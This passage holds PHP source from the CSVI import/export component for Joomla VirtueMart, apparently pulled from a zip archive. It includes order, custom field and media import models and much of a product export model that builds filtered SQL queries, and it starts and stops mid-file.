Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_ORDER_HISTORY_QUERY'), true); // Clean the tables $this->cleanTables(); } /** * Load the order import related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $this->_orders = $this->getTable('orders'); $this->_order_userinfos = $this->getTable('order_userinfos'); $this->_order_items = $this->getTable('order_items'); $this->_order_histories = $this->getTable('order_histories'); } /** * Cleaning the order import related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function cleanTables() { $this->_orders->reset(); $this->_order_userinfos->reset(); $this->_order_items->reset(); $this->_order_histories->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } /** * Formate a date to MySQL timestamp * * Format of the date is day/month/year or day-month-year. * * @copyright * @author RolandD * @todo use JDate * @todo move to general function * @see * @access private * @param * @return string MySQL timestamp * @since 3.0 */ private function _getMysqlDate() { $new_date = preg_replace('/-|\./', '/', $this->_datafield); $date_parts = explode('/', $new_date); if ((count($date_parts) == 3) && ($date_parts[0] > 0 && $date_parts[0] < 32 && $date_parts[1] > 0 && $date_parts[1] < 13 && (strlen($date_parts[2]) == 4))) { $old_date = $date_parts[2].'-'.$date_parts[1].'-'.$date_parts[0]; } else $old_date = date('Y-m-d H:i:s', time()); return $old_date; } } ?> PKs>\e;com_csvi/models/com_virtuemart/import/customfieldimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->user = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { $jinput = JFactory::getApplication()->input; // Load the data $this->loadData(); // Load the helper $this->helper = new Com_VirtueMart(); // Get the logger $csvilog = $jinput->get('csvilog', null, null); $this->virtuemart_vendor_id = $this->helper->getVendorId(); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'created_on': case 'modified_on': case 'locked_on': $this->$name = $this->convertDate($value); break; default: $this->$name = $value; break; } } // All is good return true; } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Get the plugin ID if (empty($this->custom_jplugin_id) && !empty($this->custom_element)) { $this->custom_jplugin_id = $this->_getPluginId(); if (empty($this->custom_jplugin_id)) { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_NO_PLUGIN_FOUND', $this->plugin_name)); return false; } else { // Make sure the custom_value is the same as custom_element when dealing with a plugin // This is needed as otherwise the plugin is not called $this->custom_value = $this->custom_element; } } // Bind the data $this->_customs->bind($this); // Check the data $this->_customs->check(); // Set the modified date as we are modifying the product if (!isset($this->modified_on)) { $this->_customs->modified_on = $this->date->toMySQL(); $this->_customs->modified_by = $this->user->id; } if (empty($this->_customs->virtuemart_custom_id)) { $this->_customs->custom_params = ''; $this->_customs->custom_field_desc = ''; $this->_customs->created_on = $this->date->toMySQL(); $this->_customs->created_by = $this->user->id; } // Store the data if ($this->_customs->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_CUSTOMFIELD')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_CUSTOMFIELD')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CUSTOMFIELD_NOT_ADDED', $this->_customs->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_CUSTOMFIELD_QUERY'), true); // Clean the tables $this->cleanTables(); } /** * Load the waiting list related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.01 */ private function _loadTables() { $this->_customs = $this->getTable('customs'); } /** * Cleaning the waiting list related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.1 */ protected function cleanTables() { $this->_customs->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } /** * Get the user ID * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return mixed int when user ID found | false when not found * @since 3.1 */ private function _getPluginId() { if (isset($this->plugin_name)) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('extension_id'); $query->from('#__extensions'); $query->where('name = '.$db->Quote($this->plugin_name)); $query->where('type = '.$db->Quote('plugin')); $db->setQuery($query); $result = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_FIND_USER_ID'), true); if ($result) return $result; else return false; } else return false; } } ?>PKs>\i0**5com_csvi/models/com_virtuemart/import/mediaimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->user = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo Redo the validateInput * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { // Get the logger $jinput = JFactory::getApplication()->input; // Load the data $this->loadData(); // Load the helper $this->helper = new Com_VirtueMart(); // Get the logger $csvilog = $jinput->get('csvilog', null, null); $this->virtuemart_vendor_id = $this->helper->getVendorId(); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'published': switch ($value) { case 'n': case 'N': case '0': $value = 0; break; default: $value = 1; break; } $this->published = $value; break; case 'media_delete': $this->$name = strtoupper($value); break; default: $this->$name = $value; break; } } // All good return true; } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $db = JFactory::getDBO(); $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); // Process the image $this->_processMedia(); // Set some basic values if (!isset($this->modified_on)) { $this->_medias->modified_on = $this->date->toMySQL(); $this->_medias->modified_by = $this->user->id; } // Find the media ID $this->_medias->file_url = $this->file_url; $this->_medias->check(); $this->virtuemart_media_id = $this->_medias->virtuemart_media_id; // Do we need to delete a media file? if ($this->media_delete == 'Y') { $this->_deleteMedia(); } else { // Check if the media exists if (empty($this->virtuemart_media_id)) { $this->_medias->created_on = $this->date->toMySQL(); $this->_medias->created_by = $this->user->id; } // Bind all the data $this->_medias->bind($this); // Store the data if ($this->_medias->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_MEDIAFILE')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_MEDIAFILE')); // Add a link to the product if the SKU is specified if (isset($this->product_sku)) { $this->_product_medias->virtuemart_media_id = $this->_medias->virtuemart_media_id; $this->_product_medias->virtuemart_product_id = $this->helper->getProductId(); if (!$this->_product_medias->check()) { if ($this->_product_medias->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_MEDIAXREF')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_MEDIAXREF')); } } } } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_MEDIAFILE_NOT_ADDED', $this->_medias->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_MEDIAFILE_QUERY'), true); } // Clean the tables $this->cleanTables(); } /** * Load the product files related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $this->_medias = $this->getTable('medias'); $this->_product_medias = $this->getTable('product_medias'); } /** * Cleaning the product files related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function cleanTables() { $this->_medias->reset(); $this->_product_medias->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } /** * Delete a media and its references * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 4.0 */ private function _deleteMedia() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Delete the product if ($this->_medias->delete($this->virtuemart_media_id)) { $db = JFactory::getDbo(); // Delete product reference $query = $db->getQuery(true); $query->delete('#__virtuemart_product_medias'); $query->where('virtuemart_media_id = '.$this->virtuemart_media_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_PRODUCT_XREF'), true); $db->query(); $csvilog->AddStats('deleted', JText::sprintf('COM_CSVI_MEDIA_DELETED', $this->virtuemart_media_id)); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_MEDIA_NOT_DELETED', $this->virtuemart_media_id)); } return true; } /** * Process media files * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 4.0 */ private function _processMedia() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); // Check if any image handling needs to be done if ($template->get('process_image', 'image', false)) { if (!is_null($this->file_url)) { // Image handling $imagehelper = new ImageHelper; // Verify the original image if ($imagehelper->isRemote($this->file_url)) { $original = $this->file_url; $remote = true; if ($template->get('save_images_on_server', 'image')) { switch ($this->file_type) { case 'category': $base = $template->get('file_location_category_images', 'path'); break; default: $base = $template->get('file_location_product_images', 'path'); break; } } else $base = ''; $full_path = $base; } else { // Create the full file_url path switch ($this->file_type) { case 'category': $base = $template->get('file_location_category_images', 'path'); break; default: $base = $template->get('file_location_product_images', 'path'); break; } // Check if the image contains the image path $dirname = dirname($this->file_url); if (strpos($base, $dirname) !== false) { $image = basename($this->file_url); } $original = $base.$this->file_url; $remote = false; // Get subfolders $path_parts = pathinfo($original); $full_path = $path_parts['dirname'].'/'; $csvilog->addDebug(JText::sprintf('COM_CSVI_CREATED_FILE_URL', $original)); $remote = false; } // Generate image names $file_details = $imagehelper->ProcessImage($original, $full_path); // Process the file details if ($file_details['exists'] && $file_details['isimage']) { $media = array(); $this->file_title = ($this->file_title) ? $this->file_title : $this->file_url; $this->file_description = ($this->file_description) ? $this->file_description : $this->file_url; $this->file_meta = ($this->file_meta) ? $this->file_meta : $this->file_url; $this->file_mimetype = $file_details['mime_type']; $this->file_type = $this->file_type; $this->file_is_product_image = ($this->file_type == 'product') ? 1 : 0; $this->file_is_downloadable = ($this->file_is_downloadable) ? $this->file_is_downloadable : 0; $this->file_is_forSale = ($this->file_is_forSale) ? $this->file_is_forSale : 0; $this->file_url = (empty($file_details['output_path'])) ? $file_details['output_name'] : $file_details['output_path'].$file_details['output_name']; // Create the thumbnail if ($template->get('thumb_create', 'image')) { // Get the subfolder structure $thumb_path = str_ireplace($base, '', $full_path); if (empty($this->file_url_thumb)) $this->file_url_thumb = 'resized/'.$thumb_path.basename($this->file_url); if (!$remote) $original = $this->file_url; $this->file_url_thumb = $imagehelper->createThumbnail($original, $base, $this->file_url_thumb); } else if (empty($this->file_url_thumb)) $this->file_url_thumb = $this->file_url; } } } } }PKs>\^7com_csvi/models/com_virtuemart/export/productexport.phpnuW+Ainput; $db = JFactory::getDbo(); $csvidb = new CsviDb(); $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); $this->_domainname = CsviHelper::getDomainName(); $helper = new Com_VirtueMart(); $sef = new CsviSef(); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { if ($field->process) { switch ($field->field_name) { case 'created_on': case 'modified_on': case 'locked_on': case 'created_by': case 'modified_by': case 'locked_by': case 'virtuemart_product_id': case 'virtuemart_vendor_id': case 'hits': case 'metaauthor': case 'metarobot': case 'published': $userfields[] = $db->qn('#__virtuemart_products').'.'.$db->qn($field->field_name); break; case 'category_id': case 'category_path': $userfields[] = $db->qn('#__virtuemart_product_categories').'.'.$db->qn('virtuemart_category_id'); $userfields[] = $db->qn('#__virtuemart_products').'.'.$db->qn('virtuemart_product_id'); break; case 'product_name': case 'product_s_desc': case 'product_desc': case 'metadesc': case 'metakey': case 'slug': case 'customtitle': case 'custom_value': case 'custom_price': case 'custom_param': case 'custom_title': case 'file_url': case 'file_url_thumb': case 'shopper_group_name': $userfields[] = $db->qn('#__virtuemart_products').'.'.$db->qn('virtuemart_product_id'); break; case 'product_parent_sku': $userfields[] = $db->qn('#__virtuemart_products').'.'.$db->qn('product_parent_id'); break; case 'related_products': $userfields[] = $db->qn('#__virtuemart_products').'.'.$db->qn('virtuemart_product_id').' AS main_product_id'; break; case 'product_box': $userfields[] = $db->qn('#__virtuemart_products').'.'.$db->qn('product_packaging'); break; case 'product_price': case 'price_with_tax': $userfields[] = $db->qn('#__virtuemart_product_prices').'.'.$db->qn('product_price'); $userfields[] = $db->qn('#__virtuemart_currencies').'.'.$db->qn('currency_code_3'); break; case 'product_url': $userfields[] = $db->qn('#__virtuemart_products').'.'.$db->qn('virtuemart_product_id'); $userfields[] = $db->qn('#__virtuemart_products').'.'.$db->qn('product_url'); $userfields[] = $db->qn('#__virtuemart_products').'.'.$db->qn('product_parent_id'); break; case 'price_with_discount': $userfields[] = $db->qn('#__virtuemart_product_prices').'.'.$db->qn('product_price'); $userfields[] = $db->qn('#__virtuemart_currencies').'.'.$db->qn('currency_code_3'); //$userfields[] = $db->qn('#__virtuemart_calcs').'.'.$db->qn('calc_value'); //$userfields[] = $db->qn('#__virtuemart_calcs').'.'.$db->qn('calc_value_mathop'); //$userfields[] = $db->qn('#__virtuemart_calcs').'.'.$db->qn('calc_kind'); break; case 'custom_shipping': $userfields[] = $db->qn('#__virtuemart_product_prices').'.'.$db->qn('product_price'); $userfields[] = '1 AS tax_rate'; break; case 'max_order_level': case 'min_order_level': $userfields[] = $db->qn('#__virtuemart_products').'.'.$db->qn('product_params'); break; case 'basepricewithtax': case 'discountedpricewithouttax': case 'pricebeforetax': case 'salesprice': case 'taxamount': case 'discountamount': case 'pricewithouttax': case 'product_currency': $userfields[] = $db->qn('#__virtuemart_products.virtuemart_product_id'); $userfields[] = $db->qn('#__virtuemart_currencies.currency_code_3'); break; case 'virtuemart_shoppergroup_id': case 'shopper_group_name_price': $userfields[] = $db->qn('#__virtuemart_product_prices.virtuemart_shoppergroup_id'); break; // Man made fields, do not export them case 'custom': case 'picture_url': case 'manufacturer_name': break; default: $userfields[] = $db->qn($field->field_name); break; } } } /** Export SQL Query * Get all products - including items * as well as products without a price */ $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__virtuemart_products'); $query->leftJoin('#__virtuemart_product_prices ON #__virtuemart_products.virtuemart_product_id = #__virtuemart_product_prices.virtuemart_product_id'); $query->leftJoin('#__virtuemart_product_manufacturers ON #__virtuemart_products.virtuemart_product_id = #__virtuemart_product_manufacturers.virtuemart_product_id'); $query->leftJoin('#__virtuemart_shoppergroups ON #__virtuemart_product_prices.virtuemart_shoppergroup_id = #__virtuemart_shoppergroups.virtuemart_shoppergroup_id'); $query->leftJoin('#__virtuemart_manufacturers ON #__virtuemart_product_manufacturers.virtuemart_manufacturer_id = #__virtuemart_manufacturers.virtuemart_manufacturer_id'); $query->leftJoin('#__virtuemart_product_categories ON #__virtuemart_products.virtuemart_product_id = #__virtuemart_product_categories.virtuemart_product_id'); $query->leftJoin('#__virtuemart_categories ON #__virtuemart_product_categories.virtuemart_category_id = #__virtuemart_categories.virtuemart_category_id'); $query->leftJoin('#__virtuemart_currencies ON #__virtuemart_currencies.virtuemart_currency_id = #__virtuemart_product_prices.product_currency'); // Check if there are any selectors $selectors = array(); // Filter by product category /** * We are doing a selection on categories, need to redo the query to make sure child products get included * 1. Search all product ID's for that particular category * 2. Search for all child product ID's * 3. Load all products with these ids */ $productcategories = $template->get('product_categories', 'product', false); if ($productcategories && $productcategories[0] != '') { $product_ids = array(); // If selected get products of all subcategories as well if ($template->get('incl_subcategory', 'product', false)) { $q_subcat_ids = "SELECT category_child_id FROM #__virtuemart_category_categories WHERE category_parent_id IN ('".implode("','", $productcategories)."')"; $db->setQuery($q_subcat_ids); $subcat_ids = $db->loadResultArray(); $productcategories = array_merge($productcategories, $subcat_ids); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); } // Get only the parent products and products without children if ($template->get('parent_only', 'product', 0, 'bool')) { // Get all product IDs in the selected categories $q_product_ids = "SELECT p.virtuemart_product_id FROM #__virtuemart_products p LEFT JOIN #__virtuemart_product_categories x ON p.virtuemart_product_id = x.virtuemart_product_id WHERE x.virtuemart_category_id IN ('".implode("','", $productcategories)."') AND p.product_parent_id = 0"; $db->setQuery($q_product_ids); $product_ids = $db->loadResultArray(); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); } // Get only the child products and products without children else if ($template->get('child_only', 'product', 0, 'bool')) { // Load all non child IDs $q_child = "SELECT p.virtuemart_product_id FROM #__virtuemart_products p LEFT JOIN #__virtuemart_product_categories x ON p.virtuemart_product_id = x.virtuemart_product_id WHERE x.virtuemart_category_id IN ('".implode("','", $productcategories)."')"; $db->setQuery($q_child); $allproduct_ids = $db->loadResultArray(); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // Get all child product IDs in the selected categories $q_child = "SELECT p.virtuemart_product_id FROM #__virtuemart_products p WHERE p.product_parent_id IN ('".implode("','", $allproduct_ids)."')"; $db->setQuery($q_child); $child_ids = $db->loadResultArray(); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // Get all parent product IDs in the selected categories $q_child = "SELECT p.product_parent_id FROM #__virtuemart_products p WHERE p.virtuemart_product_id IN ('".implode("','", $child_ids)."')"; $db->setQuery($q_child); $parent_ids = $db->loadResultArray(); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // Combine all the IDs $product_ids = array_merge($child_ids, array_diff($allproduct_ids, $parent_ids)); } else { // Get all product IDs $q_product_ids = "SELECT p.virtuemart_product_id FROM #__virtuemart_products p LEFT JOIN #__virtuemart_product_categories x ON p.virtuemart_product_id = x.virtuemart_product_id WHERE x.virtuemart_category_id IN ('".implode("','", $productcategories)."')"; $db->setQuery($q_product_ids); $product_ids = $db->loadResultArray(); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // Get all child product IDs if ($product_ids) { $q_childproduct_ids = "SELECT p.virtuemart_product_id FROM #__virtuemart_products p WHERE p.product_parent_id IN ('".implode("','", $product_ids)."')"; $db->setQuery($q_childproduct_ids); $childproduct_ids = $db->loadResultArray(); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // Now we have all the product IDs $product_ids = array_merge($product_ids, $childproduct_ids); } } // Check if the user want child products if (!empty($product_ids)) $selectors[] = '#__virtuemart_products.virtuemart_product_id IN (\''.implode("','", $product_ids).'\')'; } else { // Filter by published category state $category_publish = $template->get('publish_state_categories', 'product'); // Filter on parent products and products without children if ($template->get('parent_only', 'product', 0, 'bool')) { $selectors[] = '#__virtuemart_products.product_parent_id = 0'; if (!empty($category_publish)) { $selectors[] = '#__virtuemart_categories.published = '.$category_publish; } } // Filter on child products and products without children else if ($template->get('child_only', 'product', 0, 'bool')) { // Load all non child IDs $q_nonchild = 'SELECT #__virtuemart_products.virtuemart_product_id FROM #__virtuemart_products '; $state = ($category_publish == '1') ? '0' : '1'; if (!empty($category_publish)) { $q_nonchild .= 'LEFT JOIN #__virtuemart_product_categories ON #__virtuemart_products.virtuemart_product_id = #__virtuemart_product_categories.virtuemart_product_id LEFT JOIN #__virtuemart_categories ON #__virtuemart_product_categories.virtuemart_category_id = #__virtuemart_categories.virtuemart_category_id WHERE #__virtuemart_categories.published = '.$state; } $db->setQuery($q_nonchild); $nonchild_ids = $db->loadResultArray(); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // Get the child IDs from the filtered category if (!empty($category_publish)) { $q_nonchild = 'SELECT #__virtuemart_products.virtuemart_product_id FROM #__virtuemart_products '; $q_nonchild .= 'LEFT JOIN #__virtuemart_product_categories ON #__virtuemart_products.virtuemart_product_id = #__virtuemart_product_categories.virtuemart_product_id LEFT JOIN #__virtuemart_categories ON #__virtuemart_product_categories.virtuemart_category_id = #__virtuemart_categories.virtuemart_category_id WHERE #__virtuemart_products.product_parent_id IN (\''.implode("','", $nonchild_ids).'\')'; $q_nonchild .= ' GROUP BY virtuemart_product_id'; $db->setQuery($q_nonchild); $child_ids = $db->loadResultArray(); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); if (is_array($child_ids)) $nonchild_ids = array_merge($nonchild_ids, $child_ids); } $selectors[] = '#__virtuemart_products.virtuemart_product_id NOT IN (\''.implode("','", $nonchild_ids).'\')'; } else { if (!empty($category_publish)) { // Get all product IDs $q_product_ids = "SELECT p.virtuemart_product_id FROM #__virtuemart_products p LEFT JOIN #__virtuemart_product_categories x ON p.virtuemart_product_id = x.virtuemart_product_id LEFT JOIN #__virtuemart_categories c ON x.virtuemart_category_id = c.virtuemart_category_id WHERE c.category_publish = ".$db->q($category_publish); $db->setQuery($q_product_ids); $product_ids = $db->loadResultArray(); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // Get all child product IDs if ($product_ids) { $q_childproduct_ids = "SELECT p.virtuemart_product_id FROM #__virtuemart_products p WHERE p.product_parent_id IN ('".implode("','", $product_ids)."')"; $db->setQuery($q_childproduct_ids); $childproduct_ids = $db->loadResultArray(); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // Now we have all the product IDs $product_ids = array_merge($product_ids, $childproduct_ids); } // Check if the user want child products if (!empty($product_ids)) $selectors[] = '#__virtuemart_products.virtuemart_product_id IN (\''.implode("','", $product_ids).'\')'; } } } // Filter on featured products $featured = $template->get('featured', 'product', ''); if ($featured) { $selectors[] = "#__virtuemart_products.product_special = 1"; } // Filter by published state $product_publish = $template->get('publish_state', 'general'); if ($product_publish !== '' && ($product_publish == 1 || $product_publish == 0)) { $selectors[] = '#__virtuemart_products.published = '.$db->q($product_publish); } // Filter by product SKU $productskufilter = $template->get('productskufilter', 'product'); if ($productskufilter) { $productskufilter .= ','; if (strpos($productskufilter, ',')) { $skus = explode(',', $productskufilter); $wildcard = ''; $normal = array(); foreach ($skus as $sku) { if (!empty($sku)) { if (strpos($sku, '%')) { $wildcard .= "#__virtuemart_products.product_sku LIKE ".$db->q($sku)." OR "; } else $normal[] = $db->q($sku); } } if (substr($wildcard, -3) == 'OR ') $wildcard = substr($wildcard, 0, -4); if (!empty($wildcard) && !empty($normal)) { $selectors[] = "(".$wildcard." OR #__virtuemart_products.product_sku IN (".implode(',', $normal)."))"; } else if (!empty($wildcard)) { $selectors[] = "(".$wildcard.")"; } else if (!empty($normal)) { $selectors[] = "(#__virtuemart_products.product_sku IN (".implode(',', $normal)."))"; } } } // Filter on price from $priceoperator = $template->get('priceoperator', 'product', 'gt'); $pricefrom = $template->get('pricefrom', 'product', 0, 'float'); $priceto = $template->get('priceto', 'product', 0, 'float'); if (!empty($pricefrom)) { switch ($priceoperator) { case 'gt': $selectors[] = "ROUND(#__virtuemart_product_prices.product_price, ".$template->get('export_price_format_decimal', 'general', 2, 'int').") > ".$pricefrom; break; case 'eq': $selectors[] = "ROUND(#__virtuemart_product_prices.product_price, ".$template->get('export_price_format_decimal', 'general', 2, 'int').") = ".$pricefrom; break; case 'lt': $selectors[] = "ROUND(#__virtuemart_product_prices.product_price, ".$template->get('export_price_format_decimal', 'general', 2, 'int').") < ".$pricefrom; break; case 'bt': $selectors[] = "ROUND(#__virtuemart_product_prices.product_price, ".$template->get('export_price_format_decimal', 'general', 2, 'int').") BETWEEN ".$pricefrom." AND ".$priceto; break; } } // Filter by stocklevel start $stocklevelstart = $template->get('stocklevelstart', 'product', 0, 'int'); if ($stocklevelstart) { $selectors[] = '#__virtuemart_products.product_in_stock >= '.$stocklevelstart; } // Filter by stocklevel end $stocklevelend = $template->get('stocklevelend', 'product', 0, 'int'); if ($stocklevelend) { $selectors[] = '#__virtuemart_products.product_in_stock <= '.$stocklevelend; } // Filter by shopper group id $shopper_group = $template->get('shopper_groups', 'product', array()); if ($shopper_group && $shopper_group[0] != 'none') { $selectors[] = "#__virtuemart_product_prices.virtuemart_shoppergroup_id IN ('".implode("','", $shopper_group)."')"; } // Filter by manufacturer $manufacturer = $template->get('manufacturers', 'product', array()); if ($manufacturer && $manufacturer[0] != 'none') { $selectors[] = "#__virtuemart_manufacturers.virtuemart_manufacturer_id IN ('".implode("','", $manufacturer)."')"; } // Check if we need to attach any selectors to the query if (count($selectors) > 0 ) $query->where(implode("\n AND ", $selectors)); // Ingore fields $ignore = array('metadesc', 'metakey', 'product_name', 'product_s_desc', 'product_desc', 'slug', 'customtitle', 'category_path', 'manufacturer_name', 'category_id', 'picture_url', 'product_box', 'product_parent_sku', 'related_products', 'custom_shipping', 'basepricewithtax', 'discountedpricewithouttax', 'pricebeforetax', 'salesprice', 'taxamount', 'discountamount', 'pricewithouttax', 'custom_title', 'custom_value', 'custom_price', 'custom_param', 'file_url', 'file_url_thumb', 'min_order_level', 'max_order_level', 'shopper_group_name', 'shopper_group_name_price'); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby', $ignore); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort', $ignore); if (!empty($orderby)) $query->order($orderby); // Add export limits $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); JRequest::setVar('logcount', $logcount); if ($logcount > 0) { $linenumber = 1; while ($record = $csvidb->getRow()) { $csvilog->setLinenumber($linenumber++); // Start the XML/HTML output if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); // Load JoomFish translation if needed $joomfish = array(); if ($template->get('use_joomfish', 'product', false)) { $jfdb = JFactory::getDBO(); // Get the product details $q = "SELECT value, reference_field FROM #__jf_content WHERE reference_table = 'vm_product' AND language_id = ".$template->get('joomfish_language', 'product')." AND reference_id = ".$record->main_product_id; $jfdb->setQuery($q); $joomfish = $jfdb->loadObjectList('reference_field'); } // Reset the prices $this->_prices = array(); // Process all the export fields foreach ($export_fields as $column_id => $field) { if ($field->process) { $fieldname = $field->field_name; // Add the replacement & JoomFish if (isset($record->$fieldname)) { // Get the JoomFish data if (array_key_exists($fieldname, $joomfish)) $fieldvalue = $joomfish[$fieldname]->value; else $fieldvalue = $record->$fieldname; $fieldvalue = CsviHelper::replaceValue($field->replace, $fieldvalue); } else $fieldvalue = ''; switch ($fieldname) { case 'category_id': $category_path = trim($helper->createCategoryPath($record->virtuemart_product_id, true)); if (strlen(trim($category_path)) == 0) $category_path = $field->default_value; $category_path = CsviHelper::replaceValue($field->replace, $category_path); $this->addExportField($field->combine, $category_path, $fieldname, $field->column_header, true); break; case 'category_path': $category_path = trim($helper->createCategoryPath($record->virtuemart_product_id)); if (strlen(trim($category_path)) == 0) $category_path = $field->default_value; $category_path = CsviHelper::replaceValue($field->replace, $category_path); $this->addExportField($field->combine, $category_path, $fieldname, $field->column_header, true); break; case 'product_name': case 'product_s_desc': case 'product_desc': case 'metadesc': case 'metakey': case 'slug': case 'customtitle': $query = $db->getQuery(true); $query->select($fieldname); $query->from('#__virtuemart_products_'.$template->get('language', 'general')); $query->where('virtuemart_product_id = '.$record->virtuemart_product_id); $db->setQuery($query); $fieldvalue = CsviHelper::replaceValue($field->replace, $db->loadResult()); // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header, true); break; case 'picture_url': $query = $db->getQuery(true); $query->select('file_url'); $query->from('#__virtuemart_medias'); $query->leftJoin('#__virtuemart_product_medias ON #__virtuemart_product_medias.virtuemart_media_id = #__virtuemart_medias.virtuemart_media_id'); $query->where('virtuemart_product_id = '.$record->virtuemart_product_id); $query->order('#__virtuemart_product_medias.ordering'); $db->setQuery($query, 0, 1); $fieldvalue = $db->loadResult(); // Check if there is already a product full image if (strlen(trim($fieldvalue)) > 0) $picture_url = $this->_domainname.'/'.$fieldvalue; else $picture_url = $field->default_value; $picture_url = CsviHelper::replaceValue($field->replace, $picture_url); $this->addExportField($field->combine, $picture_url, $fieldname, $field->column_header); break; case 'product_parent_sku': $query = $db->getQuery(true); $query->select('product_sku'); $query->from('#__virtuemart_products'); $query->where('virtuemart_product_id = '.$record->product_parent_id); $db->setQuery($query); $product_parent_sku = $db->loadResult(); $product_parent_sku = CsviHelper::replaceValue($field->replace, $product_parent_sku); $this->addExportField($field->combine, $product_parent_sku, $fieldname, $field->column_header); break; case 'related_products': // Get the custom ID $related_records = array(); $query = $db->getQuery(true); $query->select($db->qn('#__virtuemart_products').'.'.$db->qn('product_sku')); $query->from($db->qn('#__virtuemart_product_customfields')); $query->leftJoin($db->qn('#__virtuemart_customs').' ON '.$db->qn('#__virtuemart_customs').'.'.$db->qn('virtuemart_custom_id').' = '.$db->qn('#__virtuemart_product_customfields').'.'.$db->qn('virtuemart_custom_id')); $query->leftJoin($db->qn('#__virtuemart_products').' ON 